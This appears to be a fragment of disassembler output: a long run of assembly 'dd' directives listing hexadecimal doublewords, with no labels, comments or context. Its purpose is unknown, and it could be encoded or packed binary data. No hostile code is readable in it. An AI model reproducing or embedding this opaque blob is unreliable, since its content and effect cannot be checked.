		dd 71023AAh, 2403C90h, 0EC1BB058h, 9EB17968h, 35006EF7h
		dd 49E90D17h, 590024B6h, 4A2DF801h, 1B703E06h, 5325D492h
		dd 0EA9F149Ah, 66268F49h, 913846ABh, 1032865Ch,	4807055Dh
		dd 9C60A32Dh, 584BC23Ch, 76682344h, 9B7D53DDh, 0F4268996h
		dd 15AA388Eh, 838E7553h, 0E443D2EBh, 1ED7E9h, 0B4EF81C5h
		dd 14B1F02h, 0C751CF78h, 0C9916008h, 6DA80600h,	9F758B35h
		dd 0E505057Dh, 8716D45Bh, 90D027B3h, 145F9B02h,	590AF1B6h
		dd 6689DA87h, 0BA1B6829h, 685580BEh, 0DE49C10Fh, 16196454h
		dd 0C04E2893h, 760502E1h, 3911009Ah, 0D0612C35h, 0CA1F2548h
		dd 0E984235Dh, 12D77C9Bh, 559066h, 0D008EEC0h, 0FE5266E6h
		dd 124441Dh, 0F6805A83h, 73F1F32Fh, 2231600Ch, 0D1305CB2h
		dd 549B5381h, 50B948F8h, 5BC9DBB0h, 92565h, 28600889h
		dd 2DFA3B7Fh, 0A7ED9Ch,	77790F2Fh, 4994FA2Ah, 0C51E4CDCh
		dd 0C1AC1258h, 30E5C11Bh, 0BF5ADD66h, 0E631A477h, 4276E468h
		dd 0C2C9E909h, 72E95AD1h, 74E326DAh, 0DBC05AABh, 0E9806972h
		dd 0C759617Dh, 0C9F08850h, 67FCECC1h, 0B604FFA8h, 9895B9E4h
		dd 60E4E9EBh, 59C6E326h, 6D7BCC54h, 0D8B92BEAh,	852668E8h
		dd 5361F084h, 5FFA2781h, 52F47831h, 6E78485Dh, 846E578h
		dd 5617801Ch, 173E02BEh, 0EE83350Bh, 6C07F554h,	55C0CE10h
		dd 0F01E1ABDh, 0C6FB877h, 11482E7Fh, 0D613270Ch, 0F1B108D9h
		dd 0CF1E0D60h, 0F22BD208h, 0BD7D0D82h, 482175Eh, 6C201C68h
		dd 9F89BCD1h, 52718B50h, 3F0CEC30h, 47DE3Fh, 72B4BB53h
		dd 2B87E9Eh, 8CA47698h,	9FB2D831h, 895281A1h, 0E9D0C8FAh
		dd 0F609B35Ah, 0F821705Eh, 4BD97C29h, 0E6CE120Ah, 35407697h
		dd 0EEC1EDACh, 984A6B79h, 0FBAE5CA0h, 65990792h, 55400668h
		dd 91E086E9h, 3F822F2Ch, 0C60F60CAh, 4355B1Fh, 0D11421E6h
		dd 1847F807h, 0E31B28C5h, 470118B8h, 8F5CC33h, 5324751Fh
		dd 14BF8070h, 2B3C4CC1h, 8B07F128h, 0B67C7F8Fh,	35E7896Dh
		dd 50884271h, 72BD004Ch, 81468765h, 74B7F507h, 0CD6048E1h
		dd 4C3C4BDCh, 10004A4Eh, 0C16DB45Dh, 0E92E08E0h, 68A6EE2Eh
		dd 70AF22B0h, 4F274C69h, 6E542500h, 0D1402076h,	9E2DE004h
		dd 4BBC2C1Ch, 0E983580Bh, 2A411B92h, 364FAD6Ch,	82E91A5Dh
		dd 0B1540A46h, 15344CCh, 0E8B58CB7h, 0CC36ED80h, 6D2CFC5h
		dd 8FC15385h, 2E30C301h, 3C8676C1h, 0BC865BAh, 61109413h
		dd 2B143105h, 2D753B31h, 0CDB45000h, 0F4D88397h, 50D6EA44h
		dd 0B0029509h, 32593D8Ah, 3526923Fh, 1D635E8Ah,	95173A15h
		dd 0A35E5EF1h, 0A612BDC9h, 7AD45013h, 14F5245Bh, 7D78C08Fh
		dd 50563FAh, 1061517Ch,	7138A94h, 1180C917h, 0A9538568h
		dd 7F2C543Bh, 0D2A9A3A4h, 0CCCC9556h, 27416C13h, 6712B31Ah
		dd 0A5713FA0h, 0E2055BF0h, 0BA29287Eh, 0D78A66BAh, 0E913F05Ah
		dd 0A4A26637h, 834FF746h, 6683125h, 0CB24C70Dh,	50E29973h
		dd 0C6443954h, 0F8B34D6Ah, 2E14AA90h, 9C7691BBh, 3140376Eh
		dd 2008FA6Dh, 7F24E960h, 1252E739h, 0EAF0E876h,	4142BC2Ch
		dd 7988FAB1h, 24844856h, 4969FFBAh, 0F5FC0292h,	0B353251Fh
		dd 0E5160C5Eh, 894914Eh, 50EA2ED3h, 0FE0F54B0h,	0A5712CC0h
		dd 0AD192093h, 7B200C3Eh, 0DD28248Ah, 0E4EF3A7Ah, 83A1C196h
		dd 0CAB621C0h, 0E6FC522h, 0D7BAABA4h, 0D7AEB593h, 1C86BB1h
		dd 9F0FFC18h, 60F58996h, 835DEA01h, 0F7249DC2h,	3B43BC5Ch
		dd 0E15B3D05h, 22A9E938h, 51C54B3Ah, 25C9F402h,	8683F554h
		dd 0D91E5E6Bh, 0B0511584h, 82F459EBh, 0F329267Ch, 0C4082072h
		dd 0A85BDA76h, 0D20DDA33h, 68AA8891h, 6E5D4D69h, 8717D686h
		dd 1A575A3Ch, 43DF61F9h, 0F4640402h, 8446A359h,	27C8E34Eh
		dd 1B73C2FEh, 0E90CCA34h, 9A5411A9h, 9A362A82h,	0D46460FDh
		dd 5949066Eh, 0DD02D58h, 0CD7831FFh, 3450F2C8h,	0D26934B6h
		dd 734B2A9Ch, 0F5681426h, 88C1FD05h, 0CFCAE9D4h, 0C2807A03h
		dd 0F7E2C001h, 1F3EEA63h, 24FE0706h, 0EB28424Bh, 0DAEFDD74h
		dd 1669F10Ch, 9AF965Eh
		dd 419C6815h, 89C54F3Bh, 34F07A65h, 17655AE9h, 7E59CA10h
		dd 0A5F3F37h, 0DB8D8734h, 0D5285E21h, 0BB5901E2h, 51F3200Bh
		dd 0B9263C33h, 7702BD27h, 11589D1Ch, 4D7F6D52h,	24C529Ch
		dd 8A1CC928h, 35048B0h,	2B6097B9h, 1C171147h, 5F5FFE01h
		dd 374CD368h, 2313807Bh, 0F99440A3h, 53380389h,	2296BDC1h
		dd 0A2F32176h, 0E5B200C8h, 0F2EA48C0h, 28F3F23Eh, 0BD195E2h
		dd 5AD528EEh, 24E0B861h, 922C6859h, 8FC20D11h, 0BD727351h
		dd 494069A5h, 1C5C4721h, 0D5E9B33Bh, 773189B0h,	173449C6h
		dd 1DB63750h, 8064A830h, 0BB8496F2h, 739801D7h,	5994AF5Dh
		dd 0E6C24EDBh, 0ACE02533h, 51844B2Ch, 0C44A97F3h, 2FD7E60Bh
		dd 56851B5Ah, 2B407551h, 689AA8D4h, 4E0D59C9h, 0F7885D8Bh
		dd 37518B34h, 16E2DCC8h, 9340053Dh, 3FE310A7h, 0CED3CEC6h
		dd 72275F76h, 444312ECh, 5A8C03F2h, 882D6486h, 12080B48h
		dd 0C8A00EE9h, 5C687F58h, 38D3071Fh, 0C294018Ah, 0F2F560C9h
		dd 2FDD21Ch, 375FC6A0h,	0C00C9C3h, 30B03ABAh, 5B27685Bh
		dd 29F02C13h, 0D05AD624h, 0D3889072h, 34D5C8B7h, 2A414E2Dh
		dd 905D6985h, 345509B8h, 2065421Eh, 0E9454E1Ch,	0A9CD367Ch
		dd 0B8501008h, 3B0E9F68h, 6786CB0Bh, 0EE815F07h, 34293F5Dh
		dd 5AE52A6Bh, 0E32366D5h, 83D3586Ah, 0EFAB02CAh, 0A551484Bh
		dd 41CAC52Eh, 27BD65EBh, 51008714h, 0FABD5556h,	7307ED15h
		dd 12C4EC81h, 5899CD3h,	204FC3CCh, 0E8280289h, 785659C9h
		dd 0DAD720BFh, 7CFDD9EFh, 16004890h, 0AB8C3E5Dh, 3C39553Dh
		dd 15A43E40h, 30CDB03Eh, 0E21D70CEh, 4A5A4768h,	81327235h
		dd 0EC46CB86h, 6582661Bh, 0A7047109h, 1A96FF40h, 2444F5C1h
		dd 85C45C08h, 29591312h, 8EA374h, 6B6F184Ah, 0C4DFC6E9h
		dd 0C7525FCDh, 47C50245h, 78BF9AC0h, 40334600h,	52E9FA31h
		dd 6676A1FEh, 284FDF2Ch, 6812519Eh, 0EC3713FAh,	640A6E80h
		dd 0E95D1367h, 1A42CE6h, 0A8247C4Bh, 6DA92FC5h,	0DE382107h
		dd 3C62A768h, 947CEDDFh, 31B1FB05h, 3BD25DEEh, 2ADE70B3h
		dd 2D264401h, 0F7CE5758h, 0A88C9E9Fh, 2547AB26h, 5AE633A9h
		dd 5F670A82h, 3739F200h, 0D6542963h, 42949A78h,	7C214A06h
		dd 0B8BCB5EAh, 0D68BB93Fh, 0B930C230h, 0AEBCD028h, 8FF7096Bh
		dd 25CBE895h, 495B3522h, 57A92D92h, 4EEFFB9h, 276AC82h
		dd 4741F988h, 6AC435F4h, 5B47012Ch, 565F286Bh, 0C709B9E8h
		dd 0F012F753h, 3FBF0EE0h, 0D1EE1806h, 1F140FEh,	897D788Ah
		dd 4ECDCE4Ah, 3485F7F3h, 983E081Ah, 9A58127Ah, 5AC60767h
		dd 0B2592872h, 0C9592AFFh, 888E0E24h, 51EB4BC5h, 22184AC1h
		dd 0C15A04ACh, 0B8D103E5h, 5D7B0EDAh, 682D0B8Dh, 6B93E961h
		dd 0DC592CF5h, 5236062h, 31B40A33h, 213788B7h, 0F4E9E425h
		dd 58A3C707h, 23B6765Ah, 0BE0F660Ah, 688B9CC8h,	29FE523Fh
		dd 26AD75DEh, 49C3938Dh, 8C72F7B7h, 12B4DB25h, 42275C46h
		dd 0E1564C9Eh, 0BB54FB69h, 3132EA25h, 0B1511E00h, 0B00550BAh
		dd 3ACDE9EAh, 1392A0F4h, 0BF963h, 0DF58978Fh, 0CD008125h
		dd 2BE61739h, 0C13005E9h, 62E0C15Fh, 91914137h,	0EF178051h
		dd 4DED46E6h, 0AB5B585Ah, 0C3C17B34h, 9C9CEB16h, 5F5EFBFBh
		dd 24E97828h, 930147C9h, 89A88271h, 0BB48FD59h,	1013C88h
		dd 0A765F2Dh, 0FA49E9B8h, 26C101F2h, 0C8281BB1h, 676B6225h
		dd 0F3DA0B0Ah, 9E461B4Ah, 90A3506Ch, 0EC1E547Ch, 87CE2C29h
		dd 0D1F70153h, 82565249h, 851F73D0h, 4580832Ah,	25065066h
		dd 0F543C4Ah, 5FFE8984h, 5EA7A056h, 71E95316h, 6C7493F1h
		dd 0D2591566h, 0E010FB14h, 5B7652B3h, 9EE2421Ch, 0C381607Ch
		dd 263B5F2Ah, 0A1EB031Dh, 1C736D3Fh, 946F8B18h,	1C68B448h
		dd 83DD2808h, 59CBF114h, 25231EA0h, 2AC50B8Bh, 0F00B1B24h
		dd 3C4627C6h, 0AA56F9F9h, 0B0B59260h, 0D211201Bh, 0E6805812h
		dd 0F7600404h, 0ACB80404h, 41CD8441h, 0A0C3EB47h, 53585215h
		dd 4807B331h, 0B63334EAh, 35D22D58h, 84F5E987h,	0CDEC73FCh
		dd 91ECE5E7h, 20CA01DBh, 2A00738Fh, 0BE562066h,	7C722C9Ch
		dd 0DCCE0150h, 0E97D4360h, 0C3142E63h, 5EF0175Eh, 0BEF14B71h
		dd 4D72B78h, 0D8062B40h, 0BC2F6897h, 0D110B314h, 979A6C54h
		dd 0C880B3EBh, 0C00234CFh, 0AA07E03Eh, 0FB9B71Bh, 60003628h
		dd 817D4A08h, 5128B9F7h, 0E0DAF63Ah, 9641CFC7h,	0D6290F68h
		dd 7D87EE60h, 5A4F4FBFh, 6B6DA63Dh, 2B21F811h, 5A97EE04h
		dd 22E9DAA4h, 6D9B0C09h, 15685680h, 0B81C5245h,	0B89B2091h
		dd 2B0A2FBFh, 0ACE92DAEh, 480F33ECh, 0BB049247h, 826C6FCFh
		dd 107D389h, 0DA5F0049h, 0AC6E5A1Bh, 0A1B80243h, 0C114997Ah
		dd 0D7D195A3h, 79C13B4Dh, 101775Fh, 0D9F672B1h,	0D340C0E4h
		dd 21CB2D80h, 6C56DC77h, 0DDF73613h, 59077902h,	51F0E02Ah
		dd 0DF5DC5B2h, 241DCB5Bh, 42A7365Ch, 4EC3746Dh,	0C09AADB2h
		dd 6B34BB53h, 22DEC0Ch,	65173CA7h, 70DEBEE9h, 1F0A1A26h
		dd 0BF1D0670h, 103E44EFh, 505B2E85h, 3A02D603h,	0B5681730h
		dd 47EC15h, 3BC07CB9h, 22EEF281h, 71288A24h, 1B2B873Dh
		dd 8CB094Ch, 55E459BDh,	5DD06DEDh, 57E2D101h, 2C3E97E9h
		dd 0C1C5C015h, 9D6FA766h, 0BED4485h, 2A665908h,	359A8759h
		dd 0BF00ADACh, 765D27F8h, 5CDA5801h, 4EE90840h,	5C85C3CEh
		dd 4053DDF1h, 9770B3F9h, 0C3897A09h, 73837858h,	0F38100D1h
		dd 3A06034h, 1C90DBF7h,	0B2D93D3Ch, 655B3E63h, 818FB565h
		dd 0C117BDh, 0F2932BFh,	0DFF71B7Eh, 8002EF44h, 42C27954h
		dd 95E9850Bh, 3C9D516Fh, 203CFA16h, 2C71319Bh, 0EA197B7Eh
		dd 0D209D5F7h, 16FFF840h, 0C17A51E1h, 0CEF78DCh, 5EF32908h
		dd 10148BBAh, 980F422h,	84B86DABh, 54D4873Bh, 0F7E118F1h
		dd 3558477Ch, 0B171884Ch, 375093FCh, 5164898Ah,	95F70220h
		dd 9586164Ah, 4700AE06h, 21280C18h, 2055AD0h, 0D7FFEFC2h
		dd 9B65C689h, 0C5F22989h, 59A2271Ch, 8169D10Ch,	4C40D2C0h
		dd 0A900379Dh, 53E78142h, 3B119C5Ch, 3ACC14Fh, 6584008Fh
		dd 0E9551E76h, 59F43654h, 80CB2806h, 79063AEBh,	0E3D03C37h
		dd 1D29F39Fh, 0D888C5C3h, 51B30B5Bh, 9750FA87h,	6CD0BBE8h
		dd 4B4C6734h, 0E50153FCh, 29068D20h, 11CD2AF8h,	95B7A548h
		dd 0EB530109h, 0BA5C5A5h, 6E903FE9h, 0ADEECBC6h, 24677B4Ch
		dd 93C26D14h, 8FAE0C1Bh, 4AC68A3h, 16AA59A4h, 0ACF42585h
		dd 10035879h, 0BD02B223h, 707931CAh, 0D899BD4Bh, 5B0A402Dh
		dd 279B0205h, 0F686DE24h, 745C66E1h, 8A6817CCh,	0E9792372h
		dd 5E4DE084h, 0F95758h,	29D41655h, 93F7BBFh, 0CF314744h
		dd 0B18C3105h, 5FB698Dh, 62CA7CBBh, 40557B92h, 267E38C1h
		dd 10B71963h, 0A1BE02CFh, 0D1721E48h, 970025C0h, 35AB5170h
		dd 2A1D2949h, 91980A04h, 0DB4D4B42h, 52AF6918h,	6B052905h
		dd 322D1A47h, 5194C7BAh, 0DEA67F6Eh, 0E85FB384h, 7EC4C470h
		dd 540033E3h, 0E97C5045h, 60924E0Ah, 68F5E0B0h,	9C34204h
		dd 79706C68h, 8129190Fh, 87ED846h, 0EB7D819Ah, 945CED2Dh
		dd 6502001Eh, 4F4735D1h, 6AE96FE9h, 43748432h, 0B92CA903h
		dd 3F66B6C8h, 281DB753h, 67DEAEF8h, 44549902h, 0E9805C03h
		dd 0D8499201h, 0C75A4D69h, 0EECD2988h, 0F24A8663h, 99E2D393h
		dd 1DCC5310h, 53AAA268h, 2F09D983h, 745F095Bh, 9951CFBAh
		dd 914383Ch, 0AA325480h
		dd 0E4E9AC59h, 6E91204h, 0E1F88918h, 9657D664h,	32D0209Fh
		dd 29EB119Dh, 5CE2112Ch, 5E081257h, 0AE470B5Eh,	2626C7B3h
		dd 4E58FF5Eh, 73E648D1h, 0D36E8202h, 575C2938h,	80432618h
		dd 80DB5FF5h, 0DC8881DFh, 44619AC9h, 4368172Ch,	0E136CD66h
		dd 0B4120557h, 7D014CF4h, 0EEA527C8h, 4F827BE4h, 16F97CA2h
		dd 3C6FC5F4h, 2220C525h, 0C2092CB4h, 135113C4h,	9277CD5Bh
		dd 0A8E25221h, 92FA011Ch, 0E9CB910Ah, 5108640Dh, 6A5A42ECh
		dd 0EBD935DDh, 0B144EF33h, 0CE8F4B54h, 1DE90882h, 97BA282Ah
		dd 2D178708h, 5C01E018h, 7C2F6A95h, 3B0DCD0Dh, 59022272h
		dd 0E0E564F0h, 5500BFE4h, 8149AB3Bh, 950A4CFh, 0D7F753A0h
		dd 122C3C03h, 33C048DAh, 0C6092D35h, 0F0AAE9C5h, 0DCBA096Ch
		dd 23841353h, 78D8AC75h, 93FC544Ch, 0F310D7B3h,	8FE14A09h
		dd 9C40AD2Ch, 0FC315DFAh, 0AD37AB90h, 0FCA0F54Bh, 0F7E87FE6h
		dd 5255D61Eh, 1F4048D6h, 136ECDBFh, 0E7D1361Ah,	2B01C404h
		dd 0E943FA2Ch, 8A341E16h, 10113C68h, 5C87A7B3h,	43424825h
		dd 208AB639h, 0BB01228Dh, 5976358h, 2020DF21h, 28CC6BC9h
		dd 5C4900D1h, 72E96350h, 37B5CD00h, 0D005EDC0h,	9CECF8E5h
		dd 665907B7h, 0B652205Bh, 0F35C8896h, 3B724D44h, 0E29427ADh
		dd 6906540Fh, 559EE729h, 988643Eh, 0A2AC74E9h, 24254D48h
		dd 0C1ECE234h, 53947B9h, 59CE1082h, 0FDA5856h, 8D146024h
		dd 0F2C13064h, 707DCA8h, 0EDB275E8h, 5BDA130Bh,	7824A601h
		dd 13F90AC6h, 35E6278h,	80CAFED1h, 0D388EFA8h, 0ED6EB7FEh
		dd 0B704CADBh, 12E8B03Ch, 74F50966h, 0EEF3B85Eh, 8ED3DC1h
		dd 511462CCh, 0FC760926h, 26BEF856h, 1F541A76h,	7711ADF1h
		dd 0C9348602h, 624C3214h, 18E110D1h, 59C1B987h,	62341E1h
		dd 1B830D5Eh, 0F9616EADh, 83187ADDh, 1F2F75D8h,	80812ADEh
		dd 33B35003h, 91BE22E9h, 167FC380h, 5CC17C6Eh, 0CB02C3E3h
		dd 306F58B8h, 0EB019950h, 67B7D4EEh, 9932DE29h,	4F9605D2h
		dd 0A8BEF063h, 7A6917E7h, 975B55A1h, 0B6BEAFDh,	168499Eh
		dd 0E724C805h, 121072F4h, 0C01FB113h, 0AF0459C6h, 0A441C395h
		dd 0B385E6BDh, 9A484EDh, 1A56CD9h, 45BD0958h, 55CC7680h
		dd 31796798h, 0CD815A0Fh, 157D8094h, 956B71E9h,	8F9E746Ch
		dd 0A6E955E0h, 0F1298022h, 8997F8EEh, 9F7BF007h, 0A7D38131h
		dd 0AD6CC108h, 54A6F404h, 9FD317F4h, 0B0C37BB0h, 9D20E776h
		dd 0CEFE3D5Eh, 2845EE04h, 0B713EAF3h, 8248F909h, 56DF941Ah
		dd 8CB940A2h, 3F0E1214h, 632BACBEh, 0B59AE9D0h,	1C353EDh
		dd 30F250C3h, 7C5AD749h, 0C5F3A573h, 0C3DD523Bh, 0BA35160Eh
		dd 42EA3279h, 7D408907h, 0BD81C0AAh, 512D3062h,	681C1D46h
		dd 3A41DB1h, 3B540908h,	6E8C10Fh, 0F8EB5624h, 36A0D89Dh
		dd 0A59BB14Ch, 0E1DAB3C3h, 30BF22D8h, 956A08F9h, 9EA61547h
		dd 0F36ED7A4h, 0E982B7B6h, 0FFAB0DA3h, 8042BC00h, 0FEE228C6h
		dd 99F7BFCh, 0CF125CC1h, 0D993218Dh, 7CBC2518h,	2CE4A55Fh
		dd 87E92F58h, 53D0C28Bh, 10AA092Dh, 37B688Ch, 5F63DEB2h
		dd 0B776F801h, 0D3DD169Fh, 0D9D004CAh, 274AD2Fh, 56C76C7Ah
		dd 40CB82F7h, 555100E6h, 691D5D68h, 0C2307BB5h,	2474EED2h
		dd 0F82019Eh, 3187E989h, 911445CDh, 3C54501Fh, 59C4E450h
		dd 64C5BEF4h, 844D03FFh, 1181A6B1h, 1762279h, 19FA4CCDh
		dd 3C1C2468h, 5153C13Ch, 6FF54758h, 0E9C43528h,	0C1ECF055h
		dd 4308EB26h, 4C060513h, 2E187FC4h, 4981DE01h, 0A2E98D40h
		dd 0F532624Ah, 234782FEh, 0AA2C0236h, 93D68E5Dh, 407675E4h
		dd 3D98414Dh, 0B0193A00h, 87BF5742h, 1812002Dh,	0E907E7C1h
		dd 0B8A4251Ch, 0FA26430Ah, 0DF3DEB7Eh, 12BFA134h, 250EF34Bh
		dd 0F5B6821h, 205281A9h, 882C6F33h, 0A612C1FAh,	90AC6285h
		dd 0E91249F6h, 54E4CE6Ah, 7AEA4193h, 438A2800h,	5815059h
		dd 9126DE7h, 0EF73D042h, 1A0BB714h, 11F989AAh, 1135B487h
		dd 0C080097Ah, 319FBAF8h, 55028B54h, 83E75CFEh,	425C7469h
		dd 0B4906A68h, 48C9F1A2h, 5F10748h, 8BACD794h, 12125D24h
		dd 951E84Dh, 0D8AB21B6h, 0CF5A940Dh, 135C1537h,	0E717583Bh
		dd 0A3EC6135h, 4710A563h, 2FE984D7h, 0EBBD9443h, 0F4885658h
		dd 0EC698224h, 81787C02h, 707E25C0h, 20F78EA4h,	445D4F08h
		dd 17DDDA59h, 415144E4h, 5D1C7E61h, 6304EBC9h, 0C2EEF1DFh
		dd 66B9CB52h, 59CF30AEh, 8F07506Ch, 0FA297310h,	0A15F0840h
		dd 53759536h, 0D69DDA64h, 2052A1EFh, 644DDE35h,	8CD89106h
		dd 353765Bh, 5014DD20h,	0D0B4FB8h, 0F158C129h, 6A571A33h
		dd 0F60EFB5Ch, 0E88AE6D5h, 277393E5h, 18FE8AE0h, 6B96C897h
		dd 98CB4C28h, 700D0D4h,	6311F381h, 0D39012D5h, 4564DC0Bh
		dd 4B16857Ch, 0E2B817C0h, 292F042Ah, 0D7D0E9D8h, 5DA97FF2h
		dd 4B41FB82h, 7B49EF59h, 1D402F0Dh, 0E88330A3h,	6F7802F7h
		dd 0D2841A10h, 642DEF5Fh, 4F5533Bh, 1F5C70DFh, 2665309h
		dd 0CAE54BBDh, 838F641h, 0E32AA73Eh, 2FAB1CB7h,	0CE32362Dh
		dd 0C3C4237Ch, 0DE215D83h, 3B0E16A9h, 0F60C07F0h, 7DFB4257h
		dd 797490E0h, 0E02ACE25h, 0B54551A9h, 8981D99Ch, 89446D02h
		dd 6503F666h, 0C0A84419h, 655C2EFh, 493C2A76h, 0BC7115C3h
		dd 3B6802EFh, 0E06C5B09h, 90D1D88Ch, 0BF614D69h, 3C4E5B48h
		dd 5227E917h, 0A4582017h, 0F726807Ah, 0A7813ED1h, 312C41C6h
		dd 890C8A43h, 0C1069546h, 21204EEh, 0D7B67548h,	257DC9E9h
		dd 6B98E02Bh, 628A09BDh, 17812777h, 240AC668h, 5A89B8EBh
		dd 9E754ED9h, 6CFE0F40h, 38F4C44Fh, 2FC514F7h, 0A965CB70h
		dd 0E734525Ah, 663F2626h, 186F0189h, 604F4E39h,	38CBB0DEh
		dd 0E62E0968h, 52B6070Dh, 8B8B1434h, 540982D3h,	2D89965Dh
		dd 0F8426B68h, 0E484A03Ah, 20FE44Bh, 3F0979A6h,	54690C4Ah
		dd 0C45217BDh, 0E613EA82h, 802423BCh, 45D8324Ch, 85C5BF49h
		dd 1F526851h, 0E2DC9149h, 262D601Ah, 80D70EF6h,	0E7614CC7h
		dd 689CE97Ch, 0C88812C1h, 2C49231h, 763C8261h, 1369DE50h
		dd 0F01FDC61h, 8A3EB78h, 5D9B1C04h, 1805921h, 134F71D9h
		dd 9E1D141h, 3DFAA328h,	0A2CC55Eh, 595D0BE8h, 3F63C331h
		dd 8936B425h, 0CE0CD69Ch, 13B794D0h, 0F9296477h, 0B17A3A30h
		dd 8470A70Ch, 249ECB4Dh, 0E94F97BAh, 209372D3h,	6899E33Ch
		dd 263BC56Bh, 366EADB8h, 7CC0275Eh, 136F31BFh, 4760D7h
		dd 640FCE97h, 0C62EE9A3h, 6DA64FC3h, 5C87D630h,	0A5E34C70h
		dd 41E44540h, 0A507D4BBh, 5BDCF7A8h, 0FBB2B726h, 0B98D1D19h
		dd 4FBF5AECh, 0DE1BE469h, 49C94609h, 50890952h,	0BF5E7A25h
		dd 254FB48Fh, 0FB13AB8h, 11588A1h, 4D28FD21h, 2C35680Bh
		dd 0BE23815Bh, 80008C68h, 21F77BDEh, 9F8490E9h,	578BE745h
		dd 1DC01868h, 852B9B9h,	2915D5ECh, 55CA0088h, 0C10A4110h
		dd 0F80373E2h, 844A6006h, 476CE92h, 5AD00100h, 1A0CF12Dh
		dd 51D8F016h, 0E3200705h, 0D184092h, 0B4113B00h, 40B8255Dh
		dd 35141D7Fh, 66365D3Ch, 51E81014h, 0AA2442D7h,	95CD165Dh
		dd 8CE90998h, 0F8A3D64Eh, 0E0306C41h, 1BCE09EDh, 0A15C7948h
		dd 55FE08A0h, 2E5D2BA1h, 0FBC12F34h, 16C90E41h,	1F050C83h
		dd 0F2014503h, 1E20400Bh, 4228D8E9h, 0B86FBE34h, 0C2A0401Bh
		dd 0EA085B80h, 4D537A58h, 0B9023268h, 439D483Ah, 0F2B5BF40h
		dd 0A7574897h, 0CCA003Fh
		dd 695CBB53h, 312E4871h, 890E7EDFh, 0E9E841FDh,	982A4D2Bh
		dd 7445ADB2h, 0B854FC93h, 9F80B598h, 508F23E9h,	0CFE58940h
		dd 0B7F010Dh, 0DC1032EFh, 2600418Bh, 76E4BF70h,	33E92077h
		dd 0F8DF0886h, 4F41FB9h, 0F91AD483h, 446E20FAh,	0B9F1B4h
		dd 885128B3h, 0B689E5DDh, 65F9F6CAh, 2109BE01h,	3B7C6E2Ch
		dd 0A22D9450h, 2810550Ah, 63824E52h, 0B158C8BBh, 0E5594B20h
		dd 75833E69h, 5146D268h, 0A3388B36h, 0D45A0EA9h, 0EDB5FB27h
		dd 97D925A4h, 88A02F6Ah, 5A539A01h, 0D6F74E45h,	139E2C98h
		dd 5E4AF301h, 70C154B2h, 301EA17Bh, 0DD772B8h, 0FB01C080h
		dd 12DA4FE9h, 6069299Dh, 0B8800D87h, 364B1E37h,	2F2A9A1Fh
		dd 2C1AA261h, 19C12E96h, 1A74D825h, 0C176F0Fh, 0E912ED52h
		dd 3889586Bh, 78787EE1h, 1189E56h, 323F36C7h, 0FF3C3126h
		dd 0EA187D5Ah, 3B34E956h, 0A5EC8B54h, 682C29C8h, 66A27B0Ch
		dd 0BBAF9533h, 210DDA08h, 14E97DF0h, 0C0E5496Bh, 44D2075Ch
		dd 12914BBBh, 0AA6AC5BEh, 0F2325479h, 5A746809h, 0E86E69h
		dd 0CD225h, 0D0F73D95h,	9463DF2Dh, 0F10E2869h, 182542h
		dd 460BC781h, 0F81DD905h, 8EF50DBh, 25459E9h, 1610924h
		dd 63EFD0Dh, 1D913B28h,	617EC6E1h, 6E5E9203h, 7D53A31h
		dd 8090A597h, 5452595Dh, 61509A95h, 3000EA5Fh, 660959E8h
		dd 510C7E68h, 0A6CE08FDh, 59406736h, 0A9E1CC5Ah, 313093A1h
		dd 5FBDEE07h, 81156050h, 6B7A04F5h, 0EE4508E3h,	65CC161Fh
		dd 0ED28EEC8h, 84D9D204h, 1125E5FEh, 0D53B01C9h, 66C08229h
		dd 0A012F2C5h, 999C157h, 0F0AA75F2h, 20F0E94Ch,	82801CBFh
		dd 0B32532Ah, 0FC3A5EF1h, 6E7BB309h, 68CB3027h,	0A66A4AE4h
		dd 930690E6h, 4C200B8Dh, 3C234114h, 9A46C92Ch, 65C49827h
		dd 0BD028230h, 0CCFAEE01h, 46A73427h, 595A2763h, 0BE29B24Ch
		dd 51166F02h, 760C8032h, 3B665889h, 0B7C96095h,	0B85FD2A0h
		dd 9DCA9E2Ch, 3151C2C3h, 3168F070h, 30C92829h, 51520247h
		dd 0BBAB1A84h, 5EE2F8F3h, 9F72E050h, 64695ABh, 0C632432Dh
		dd 536302A8h, 35E91305h, 0E8B86869h, 565AF525h,	700C5BD0h
		dd 294637C4h, 206CC511h, 3BB4E90Ch, 849E595h, 763D50B7h
		dd 0E124067Dh, 0E6003503h, 89EF247Bh, 0DA6597CDh, 1431A588h
		dd 2F01535Ch, 0B87A8C15h, 290B81AFh, 0B1B3E9F0h, 6918DEADh
		dd 14C0C7E2h, 4DAC43BFh, 0F9292432h, 12EB0139h,	0E5056C10h
		dd 1C461CBh, 35F8E908h,	0A2D83CF7h, 658B7D92h, 218B7D47h
		dd 27DFC5D8h, 0AE277252h, 9F38E4DEh, 40ACFEC7h,	0CDA39A0Ch
		dd 114E167Bh, 77B60A25h, 9DD2606h, 8A5E492Fh, 5F130900h
		dd 0D0F1296Ch, 1C68081Ch, 21E52514h, 442AC9A9h,	7F06F72Ch
		dd 46B2E54Eh, 27CB18E8h, 8694DC8h, 86112E24h, 58749500h
		dd 2CE8147h, 1710137Eh,	0F17896E9h, 52992C07h, 0D3070AB2h
		dd 40904FC4h, 3D5A3EB9h, 0BA70263Dh, 1583162h, 3F553324h
		dd 5C5AB072h, 512CC0FEh, 0DBB07037h, 90958B7Ah,	0B55BE71Ch
		dd 0FA415092h, 605FEC08h, 357716D2h, 0C7B850B0h, 6CD81C59h
		dd 0CB05CCF7h, 1B33E90Fh, 975B995Ah, 294429BFh,	42C90F26h
		dd 0E1D2A6DFh, 0A5495DD4h, 174DEAF4h, 0F052C419h, 879C517Fh
		dd 75AAB027h, 0B816D3FAh, 29708C02h, 6CB2032Dh,	150533E7h
		dd 0FCCD0EA9h, 10B5D718h, 91CA3145h, 1C616A1Bh,	267C4940h
		dd 15985250h, 560F4E02h, 7FEA0154h, 3D742D1Ah, 361C4C29h
		dd 90F064EFh, 0E1A830A5h, 12F28072h, 5AD4081Dh,	0CE20C48Fh
		dd 674CD0D9h, 3C79A801h, 0A0FA012Ch, 0CB8208FEh, 30E81675h
		dd 2D0D41E9h, 0E72F44DBh, 0BB06605h, 0C01D3DBEh, 0C38DB74h
		dd 0DC1E277Eh, 760612B3h, 0F68400E2h, 29048005h, 3EC31EDh
		dd 908DE908h, 400C68CBh, 9470A72Fh, 6891A122h, 16BCA81h
		dd 52BA52F9h, 0E8E0D108h, 20BFB20Eh, 788A18DCh,	0B2ACF63Eh
		dd 0AD0EB9EAh, 0DD14966h, 0F9F713D3h, 0E9C376A9h, 8504521Fh
